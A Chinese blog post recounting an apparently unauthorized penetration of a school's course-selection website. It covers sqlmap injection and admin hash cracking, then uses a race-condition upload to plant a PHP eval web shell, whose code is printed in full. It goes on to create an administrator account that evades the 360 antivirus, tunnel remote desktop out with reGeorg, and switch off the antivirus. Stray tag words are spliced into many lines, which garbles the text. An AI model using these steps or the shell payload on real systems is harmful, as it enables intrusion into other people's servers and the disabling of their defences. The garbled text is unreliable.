記一次簡單的滲透測試

前言

以前對滲透這方面的學習一直只是學到了Getshell爲止,可是其實滲透能夠說Getshell僅僅是一個開端,接下去的還有遠程鏈接,域滲透等領域,此次恰好滲透到了某網站,決定以該網站爲例,看看能不能進行一次相對完整的滲透歷程php

SQL注入

該網站是某校某選課網站,首先先用掃描器掃描一下網站,運氣很好,竟然掃出了一個注入,一看,原來是個寬字節注入 image.png前端

簡單測了一下,發現並無什麼過濾,那就常規操做,用SQLmap跑一下python

python2 sqlmap.py -u "http://xxx.xx.xx.xx/aaa/bbb.php?cid=118" --tamper=unmagicquotes
複製代碼

接下來即是爆庫,爆表,爆列,爆值等常規操做。 獲取Admin表中的帳號密碼,雖然說密碼是md5加密的了,可是去cmd5平臺上一查,仍是很方便的進入了後臺 image.pnggit

Getshell

接下來即是尋求Getshell的機會了 image.pnggithub

注意到這裏有個上傳文件的地方,從源碼中能夠看到是Fckeditor編輯器 從網上搜索相關的漏洞,首先先查看版本 image.pngweb

發現是2.6.6版本的,遺憾的是隻能找到2.6.6asp版本的洞,PHP版本的並不能找到相關的漏洞,而用了幾個EXP去試試運氣也都碰壁了,滲透原本到此就受阻 可是忽然發現還有一個上傳學生名單的接口 image.pngsql

測試了一下,只有一個簡單的前端認證,而且用burpsuite一看,還有了驚喜的發現shell

image.png

文件不只上傳成功了,而且還返回了相應的路徑,當下便想到來連shell了,但當我想來連之時,卻發現文件被刪了,由文件路徑裏面有個temp,一會兒就想到後端確定寫了一個自動清空temp目錄的函數,可是解決思路也是很明確的,就是條件競爭嘛,經過多線程發包的方法,來實現必定時間內的文件訪問 這裏我將要發包的文件改成:編程

<?php file_put_contents('../success.php',"<?php phpinfo();@eval(\$_POST['a']); ?>"); ?>
複製代碼

只要咱們能訪問到它一次,這個程序就會自動在父目錄裏面寫入一個shell,也就實現了跳出temp目錄的寫shell了。 用burpsuite的intruder模塊不斷髮包,再訪問咱們上傳的文件,便實現了成功寫shell的目的,如圖,Getshell: image.png後端

image

系統信息蒐集

systeminfo查看系統相關信息 image.png

netstat -ano查看開放的端口 image.png

能夠看到3389端口是打開的,也就是能夠進行遠程鏈接 whoami查看當前用戶 image

遠程鏈接

能夠看到是system權限,原本我覺得大功告成,接下來就是建立管理員用戶,進行遠程鏈接之時,可是發現不管如何都沒法把用戶添加進管理員組 在網上查了不少資料,有人說是可能有殺毒軟件。tasklist一看,果真有360 那麼問題到這裏就只有三條路了: 1. 殺掉360,看看能不能利用system的高權限殺掉360 2. 獲得其餘管理員帳戶的密碼或者密碼的hash值,利用其餘管理員的帳戶進行登陸 2. 繞過360建立一個管理員帳號

我對這三種狀況都進行了嘗試:

  • 方法1:我嘗試利用taskkill來殺掉360的進程,可是始終報錯,網上的資料五花八門,有的說system權限能夠用taskkill來關閉360,也有的說360的主動防護進程(ZhuDongFangYu.exe)是在系統Ring0層,即便system權限也沒法用taskkill來關掉,至少在此次滲透中,我滲透的機器,是沒辦法直接用taskkill來關掉360進程的,包括網上所講的sc delete方法在這臺機子上也是行不通的(會被攔截),至少如今看起來這條路堵死了
  • 方法2:當我上傳Quarks PwDump.exe和各類軟件時,無一例外都會被360攔截,看起來這條路也堵死了
  • 方法3:方法3就是咱們最後的但願了,從網上看到資料說system權限下能夠用Windows API的方法來建立管理員帳戶,而這種方法360不會攔截,具體能夠參見這篇文章: [【編程】建立用戶,並添加至管理組] 可是比較蛋疼的一點是我電腦沒有VS,編譯不了這個文件,而宿友也都沒有一我的安裝的(畢竟他實在是太大了) 好在我在github上找到了一個別人編譯好的版本 github.com/cckuailong/… 運行了一下,成功添加用戶

image.png

那麼就只剩最後一步了,進行遠程鏈接,可是當我想直接鏈接的時候,發現竟然連不上,用nmap掃了一下端口,發現3389沒有開啓,可是上面的`netstat -ano`顯示3389是有開啓的,那就只能說明3389端口是開在內網的,咱們得進行一下內網穿透,把流量轉發出來,使用reGeorg進行內網穿透。
複製代碼

將tunnel.nosocket.php上傳至web目錄(這裏不能上傳tunnel.php,php<5.3不能正常使用tunnel.php) 訪問目標文件: image.png

說明配置正常 最後,咱們就能成功的使用遠程鏈接了,上了遠程鏈接後,首先退出360全部防禦,爲接下來的進一步滲透作準備

此次的滲透就先到這裏,接下來的域滲透,就等之後有時間再來學習和鑽研了。

寫在後面

這是我第一次進行後Getshell的滲透,寫的可能很囉嗦而且很LOW,可是主要目的仍是想讓我本身記住這一此滲透學習到的知識,等之後有時間了再來繼續進行下一步的域滲透

[滲透書籍領取] 滲透測試書籍 [滲透視頻領取] 滲透視頻

參考文章

DNS劫持 逆向工程IDA 內網滲透

相關文章
相關標籤/搜索